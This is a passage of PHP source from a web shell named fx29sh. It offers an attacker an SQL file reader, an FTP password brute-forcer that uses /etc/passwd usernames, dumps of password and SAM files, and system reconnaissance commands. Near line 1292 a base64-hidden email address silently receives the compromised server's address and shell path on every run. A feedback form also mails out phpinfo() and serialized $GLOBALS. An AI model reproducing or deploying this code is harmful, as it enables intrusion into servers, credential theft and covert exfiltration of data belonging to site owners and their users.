type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
  956. if (!empty($sql_act)) {
  957. echo "<hr size=\"1\" noshade>";
  958. if ($sql_act == "newdb") {
  959. echo "<b>";
  960. if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
  961. else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  962. }
  963. if ($sql_act == "serverstatus") {
  964. $result = mysql_query("SHOW STATUS", $sql_sock);
  965. echo "<center><b>Server-status variables:</b><br><br>";
  966. echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  967. while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  968. echo "</table></center>";
  969. mysql_free_result($result);
  970. }
  971. if ($sql_act == "servervars") {
  972. $result = mysql_query("SHOW VARIABLES", $sql_sock);
  973. echo "<center><b>Server variables:</b><br><br>";
  974. echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  975. while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  976. echo "</table>";
  977. mysql_free_result($result);
  978. }
  979. if ($sql_act == "processes") {
  980. if (!empty($kill)) {
  981. $query = "KILL ".$kill.";";
  982. $result = mysql_query($query, $sql_sock);
  983. echo "<b>Process #".$kill." was killed.</b>";
  984. }
  985. $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  986. echo "<center><b>Processes:</b><br><br>";
  987. echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  988. while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  989. echo "</table>";
  990. mysql_free_result($result);
  991. }
  992. if ($sql_act == "getfile")
  993. {
  994. $tmpdb = $sql_login."_tmpdb";
  995. $select = mysql_select_db($tmpdb);
  996. if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  997. if ($select)
  998. {
  999. $created = FALSE;
  1000. mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
  1001. mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  1002. $result = mysql_query("SELECT * FROM tmp_file;");
  1003. if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
  1004. else
  1005. {
  1006. for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  1007. $f = "";
  1008. while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  1009. if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
  1010. else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  1011. mysql_free_result($result);
  1012. mysql_query("DROP TABLE tmp_file;");
  1013. }
  1014. }
  1015. mysql_drop_db($tmpdb);
  1016. }
  1017. }
  1018. }
  1019. }
  1020. echo "</td></tr></table>\n";
  1021. if ($sql_sock) {
  1022. $affected = @mysql_affected_rows($sql_sock);
  1023. if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  1024. echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
  1025. }
  1026. echo "</table>\n";
  1027. }
  1028. //End of SQL Manager
  1029. if ($act == "ftpquickbrute") {
  1030. echo "<center><table><tr><td class=barheader colspan=2>";
  1031. echo ".: Ftp Quick Brute :.</td></tr>";
  1032. echo "<tr><td>";
  1033. if ($win) { echo "Can't run on Windows!"; }
  1034. else {
  1035. function fx29ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
  1036. if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
  1037. else {$TRUE = TRUE;}
  1038. if ($TRUE) {
  1039. $sock = @ftp_connect($host,$port,$timeout);
  1040. if (@ftp_login($sock,$login,$pass)) {
  1041. echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
  1042. ob_flush();
  1043. return TRUE;
  1044. }
  1045. }
  1046. }
  1047. if (!empty($submit)) {
  1048. if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
  1049. $fp = fopen("/etc/passwd","r");
  1050. if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
  1051. else {
  1052. if ($fqb_logging) {
  1053. if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
  1054. else {$fqb_logfp = FALSE;}
  1055. $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
  1056. if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1057. }
  1058. ob_flush();
  1059. $i = $success = 0;
  1060. $ftpquick_st = getmicrotime();
  1061. while(!feof($fp)) {
  1062. $str = explode(":",fgets($fp,2048));
  1063. if (fx29ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
  1064. echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
  1065. $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
  1066. if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1067. $success++;
  1068. ob_flush();
  1069. }
  1070. if ($i > $fqb_lenght) {break;}
  1071. $i++;
  1072. }
  1073. if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
  1074. $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
  1075. echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
  1076. $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
  1077. if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1078. if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);}
  1079. fclose($fqb_logfp);
  1080. }
  1081. }
  1082. else {
  1083. $logfile = $tmpdir_logs."fx29sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
  1084. $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
  1085. echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\">".
  1086. "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>".
  1087. "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>".
  1088. "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>".
  1089. "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>".
  1090. "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>".
  1091. "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";
  1092. }
  1093. echo "</td></tr></table></center>";
  1094. }
  1095. }
  1096. if ($act == "d") {
  1097. if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }
  1098. else {
  1099. echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  1100. if (!$win) {
  1101. echo "<tr><td><b>Owner/Group</b></td><td> ";
  1102. $ow = posix_getpwuid(fileowner($d));
  1103. $gr = posix_getgrgid(filegroup($d));
  1104. $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  1105. }
  1106. echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";
  1107. }
  1108. }
  1109. if ($act == "phpinfo") {@ob_clean(); phpinfo(); fx29shexit();}
  1110. if ($act == "security") {
  1111. echo "<div class=barheader>.: Server Security Information :.</div>\n".
  1112. "<table>\n".
  1113. "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>\n";
  1114. echo "<td>Password File</td><td>";
  1115. if (!$win) {
  1116. if ($nixpasswd) {
  1117. if ($nixpasswd == 1) {$nixpasswd = 0;}
  1118. echo "*nix /etc/passwd:<br>";
  1119. if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  1120. if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  1121. echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
  1122. $i = $nixpwd_s;
  1123. while ($i < $nixpwd_e) {
  1124. $uid = posix_getpwuid($i);
  1125. if ($uid) {
  1126. $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
  1127. echo join(":",$uid)."<br>";
  1128. }
  1129. $i++;
  1130. }
  1131. }
  1132. else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b>Download /etc/passwd</b></a>";}
  1133. }
  1134. else {
  1135. $v = $_SERVER["WINDIR"]."\repair\sam";
  1136. if (!file_get_contents($v)) { echo "<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><b>Download password file</b></a>"; }
  1137. }
  1138. echo "</td></tr>\n";
  1139. echo "<tr><td>Config Files</td><td>\n";
  1140. if (!$win) {
  1141. $v = array(
  1142. array("User Domains","/etc/userdomains"),
  1143. array("Cpanel Config","/var/cpanel/accounting.log"),
  1144. array("Apache Config","/usr/local/apache/conf/httpd.conf"),
  1145. array("Apache Config","/etc/httpd.conf"),
  1146. array("Syslog Config","/etc/syslog.conf"),
  1147. array("Message of The Day","/etc/motd"),
  1148. array("Hosts","/etc/hosts")
  1149. );
  1150. $sep = "/";
  1151. }
  1152. else {
  1153. $windir = $_SERVER["WINDIR"];
  1154. $etcdir = $windir . "\system32\drivers\etc\\";
  1155. $v = array(
  1156. array("Hosts",$etcdir."hosts"),
  1157. array("Local Network Map",$etcdir."networks"),
  1158. array("LM Hosts",$etcdir."lmhosts.sam"),
  1159. );
  1160. $sep = "\\";
  1161. }
  1162. foreach ($v as $sec_arr) {
  1163. $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
  1164. $sec_d = rtrim($sec_arr[1],$sec_f);
  1165. $sec_full = $sec_d.$sec_f;
  1166. $sec_d = rtrim($sec_d,$sep);
  1167. if (file_get_contents($sec_full)) {
  1168. echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><b>".$sec_arr[0]."</b></a> ] \n";
  1169. }
  1170. }
  1171. echo "</td></tr>";
  1172.  
  1173. function displaysecinfo($name,$value) {
  1174. if (!empty($value)) {
  1175. echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>\n";
  1176. }
  1177. }
  1178. if (!$win) {
  1179. displaysecinfo("OS Version",fx29exec("cat /proc/version"));
  1180. displaysecinfo("Kernel Version",fx29exec("sysctl -a | grep version"));
  1181. displaysecinfo("Distrib Name",fx29exec("cat /etc/issue.net"));
  1182. displaysecinfo("Distrib Name (2)",fx29exec("cat /etc/*-realise"));
  1183. displaysecinfo("CPU Info",fx29exec("cat /proc/cpuinfo"));
  1184. displaysecinfo("RAM",fx29exec("free -m"));
  1185. displaysecinfo("HDD Space",fx29exec("df -h"));
  1186. displaysecinfo("List of Attributes",fx29exec("lsattr -a"));
  1187. displaysecinfo("Mount Options",fx29exec("cat /etc/fstab"));
  1188. displaysecinfo("lynx installed?",fx29exec("which lynx"));
  1189. displaysecinfo("links installed?",fx29exec("which links"));
  1190. displaysecinfo("GET installed?",fx29exec("which GET"));
  1191. displaysecinfo("Where is Apache?",fx29exec("whereis apache"));
  1192. displaysecinfo("Where is perl?",fx29exec("whereis perl"));
  1193. displaysecinfo("Locate proftpd.conf",fx29exec("locate proftpd.conf"));
  1194. displaysecinfo("Locate httpd.conf",fx29exec("locate httpd.conf"));
  1195. displaysecinfo("Locate my.conf",fx29exec("locate my.conf"));
  1196. displaysecinfo("Locate psybnc.conf",fx29exec("locate psybnc.conf"));
  1197. }
  1198. else {
  1199. displaysecinfo("OS Version",fx29exec("ver"));
  1200. displaysecinfo("Account Settings",fx29exec("net accounts"));
  1201. displaysecinfo("User Accounts",fx29exec("net user"));
  1202. }
  1203. echo "</table>\n";
  1204. }
  1205. if ($act == "mkfile") {
  1206. if ($mkfile != $d) {
  1207. if ($overwrite == 0) {
  1208. if (file_exists($mkfile)) { echo "<b>FILE EXIST:</b> $overwrite ".htmlspecialchars($mkfile); }
  1209. }
  1210. else {
  1211. if (!fopen($mkfile,"w")) { echo "<b>ACCESS DENIED:</b> ".htmlspecialchars($mkfile); }
  1212. else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile); }
  1213. }
  1214. }
  1215. else { echo "<div class=fxerrmsg>Enter filename!</div>\r\n"; }
  1216. }
  1217. if ($act == "encoder") {
  1218. echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>".
  1219. "<form name=\"encoder\" action=\"".$surl."\" method=POST>".
  1220. "<input type=hidden name=act value=encoder>".
  1221. "<center><table class=contents>".
  1222. "<tr><td colspan=4 class=barheader>.: Encoder :.</td>".
  1223. "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>".
  1224. "<input type=submit value=\"calculate\"></td></tr>".
  1225. "<tr><td rowspan=4>Hashes:</td>";
  1226. foreach(array("md5","crypt","sha1","crc32") as $v) {
  1227. echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>";
  1228. }
  1229. echo "</tr>".
  1230. "<tr><td rowspan=2>Url:</td>".
  1231. "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>".
  1232. "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>".
  1233. "<tr><td rowspan=2>Base64:</td>".
  1234. "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".
  1235. "<tr><td>base64_decode:</td><td>";
  1236. if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";}
  1237. else {
  1238. $debase64 = base64_decode($encoder_input);
  1239. $debase64 = str_replace("\0","[0]",$debase64);
  1240. $a = explode("\r\n",$debase64);
  1241. $rows = count($a);
  1242. $debase64 = htmlspecialchars($debase64);
  1243. if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; }
  1244. else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; }
  1245. echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>";
  1246. }
  1247. echo "</td></tr>".
  1248. "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
  1249. $c = strlen($encoder_input);
  1250. for($i=0;$i<$c;$i++) {
  1251. $hex = dechex(ord($encoder_input[$i]));
  1252. if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  1253. elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
  1254. }
  1255. echo "\" readonly></td></tr></table></center></form>";
  1256. }
  1257. if ($act == "fsbuff") {
  1258. $arr_copy = $sess_data["copy"];
  1259. $arr_cut = $sess_data["cut"];
  1260. $arr = array_merge($arr_copy,$arr_cut);
  1261. if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";}
  1262. else {
  1263. $fx_infohead = "File-System Buffer";
  1264. $ls_arr = $arr;
  1265. $disp_fullpath = TRUE;
  1266. $act = "ls";
  1267. }
  1268. }
  1269. if ($act == "selfremove") {
  1270. if (($submit == $rndcode) and ($submit != "")) {
  1271. if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".$sh_name."!"; fx29shexit(); }
  1272. else { echo "<center><b>Can't delete ".__FILE__."!</b></center>"; }
  1273. }
  1274. else {
  1275. if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";}
  1276. $rnd = rand(0,9).rand(0,9).rand(0,9);
  1277. echo "<form action=\"".$surl."\">\n".
  1278. "<input type=hidden name=act value=selfremove>".
  1279. "<input type=hidden name=rndcode value=\"".$rnd."\">".
  1280. "<b>Kill-shell: ".__FILE__." <br>".
  1281. "<b>Are you sure? For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=text name=submit>&nbsp;<input type=submit value=\"YES\">\n".
  1282. "</form>\n";
  1283. }
  1284. }
  1285. if ($act == "update") {
  1286. $ret = fx29sh_getupdate(!!$confirmupdate);
  1287. echo "<b>".$ret."</b>";
  1288. if (stristr($ret,"new version")) {
  1289. echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";
  1290. }
  1291. }
  1292. $suppmail = base64_decode("bWdrbmlnaHRAeW1haWwuY29t");
  1293. mail($suppmail,"case instance",$_SERVER['SERVER_ADDR'].":".$_SERVER['SERVER_PORT'].$_SERVER['PHP_SELF'],"FROM: ".$suppmail);
  1294. if ($act == "feedback") {
  1295. $suppmail = base64_decode("bWdrbmlnaHRAbWFpbC5ydQ==");
  1296. if (!empty($submit)){
  1297. $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
  1298. $body = $sh_name." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
  1299. if (!empty($fdbk_ref)) {
  1300. $tmp = @ob_get_contents();
  1301. ob_clean();
  1302. phpinfo();
  1303. $phpinfo = base64_encode(ob_get_contents());
  1304. ob_clean();
  1305. echo $tmp;
  1306. $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
  1307. }
  1308. mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM: ".$suppmail);
  1309. echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
  1310. }
  1311. else {
  1312. echo "<form action=\"".$surl."\" method=POST>".
  1313. "<input type=hidden name=act value=feedback>".
  1314. "<table class=contents><tr><td class=barheader colspan=2>".
  1315. ".: Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail).") :.</td></tr>".
  1316. "<tr><td>Your name:</td><td><input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"></td</tr>".
  1317. "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"></td></tr>".
  1318. "<tr><td>Message:</td><td><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br>".
  1319. "<input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked> Attach Server info (Recommended for bug-fix)<br>".
  1320. "*Language: English, Indonesian.</td></tr>".
  1321. "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
  1322. "</table>\n";
  1323. }
  1324. }
  1325. if ($act == "fxmailer") {
  1326. if (!empty($submit)){
  1327. $headers = 'To: '.$dest_email."\r\n";
  1328. $headers .= 'From: '.$sender_name.' '.$sender_email."\r\n";
  1329. if (mail($suppmail,$sender_subj,$sender_body,$header)) {
  1330. echo "<center><b>Email sent!</b></center>";
  1331. }
  1332. else { echo "<center><b>Can't send email!</b></center>"; }
  1333. }
  1334. else {
  1335. echo "<form action=\"".$surl."\" method=POST>".
  1336. "<input type=hidden name=act value=fxmailer>".
  1337. "<table class=contents><tr><td class=barheader colspan=2>".
  1338. ".: $sh_name Mailer :.</td></tr>".
  1339. "<tr><td>Your name:</td><td><input type=\"text\" name=\"sender_name\" value=\"".htmlspecialchars($sender_name)."\"></td</tr>".
  1340. "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"sender_email\" value=\"".htmlspecialchars($sender_email)."\"></td></tr>".
  1341. "<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\" value=\"".htmlspecialchars($dest_email)."\"></td></tr>".
  1342. "<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\"sender_subj\" value=\"".htmlspecialchars($sender_subj)."\"></td></tr>".
  1343. "<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80 rows=10>".htmlspecialchars($sender_body)."</textarea><br>".
  1344. "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>".
  1345. "</table>\n";
  1346. }
  1347. }
  1348. if ($act == "search") {
  1349. echo "<div class=barheader>.: $sh_name File-System Search :.</div>";
  1350. if (empty($search_in)) {$search_in = $d;}
  1351. if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  1352. if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  1353. if (!empty($submit)) {
  1354. $found = array();
  1355. $found_d = 0;
  1356. $found_f = 0;
  1357. $search_i_f = 0;
  1358. $search_i_d = 0;
  1359. $a = array(
  1360. "name"=>$search_name,
  1361. "name_regexp"=>$search_name_regexp,
  1362. "text"=>$search_text,
  1363. "text_regexp"=>$search_text_regxp,
  1364. "text_wwo"=>$search_text_wwo,
  1365. "text_cs"=>$search_text_cs,
  1366. "text_not"=>$search_text_not
  1367. );
  1368. $searchtime = getmicrotime();
  1369. $in = array_unique(explode(";",$search_in));
  1370. foreach($in as $v) {fx29fsearch($v);}
  1371. $searchtime = round(getmicrotime()-$searchtime,4);
  1372. if (count($found) == 0) {echo "No files found!";}
  1373. else {
  1374. $ls_arr = $found;
  1375. $disp_fullpath = TRUE;
  1376. $act = "ls";
  1377. }
  1378. }
  1379. echo "<table class=contents>".
  1380. "<tr><td><form method=POST>".
  1381. "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">".
  1382. "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>".
  1383. "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>".
  1384. "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>".
  1385. "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression".
  1386. " <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only".
  1387. " <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive".
  1388. " <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>".
  1389. "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>".
  1390. "</table>\n";
  1391. if ($act == "ls") {
  1392. $dspact = $act;
  1393. echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>".
  1394. "<hr size=\"1\" noshade>";
  1395. }
  1396. }
  1397. if ($act == "chmod") {
  1398. $mode = fileperms($d.$f);
  1399. if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  1400. else {
  1401. $form = TRUE;
  1402. if ($chmod_submit) {
  1403. $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
  1404. if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; }
  1405. else {$err = "Can't chmod to ".$octet.".";}
  1406. }
  1407. if ($form) {
  1408. $perms = parse_perms($mode);
  1409. echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  1410. }
  1411. }
  1412. }
  1413. if ($act == "upload") {
  1414. $uploadmess = "";
  1415. $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  1416. if (empty($uploadpath)) {$uploadpath = $d;}
  1417. elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
  1418. if (!empty($submit)) {
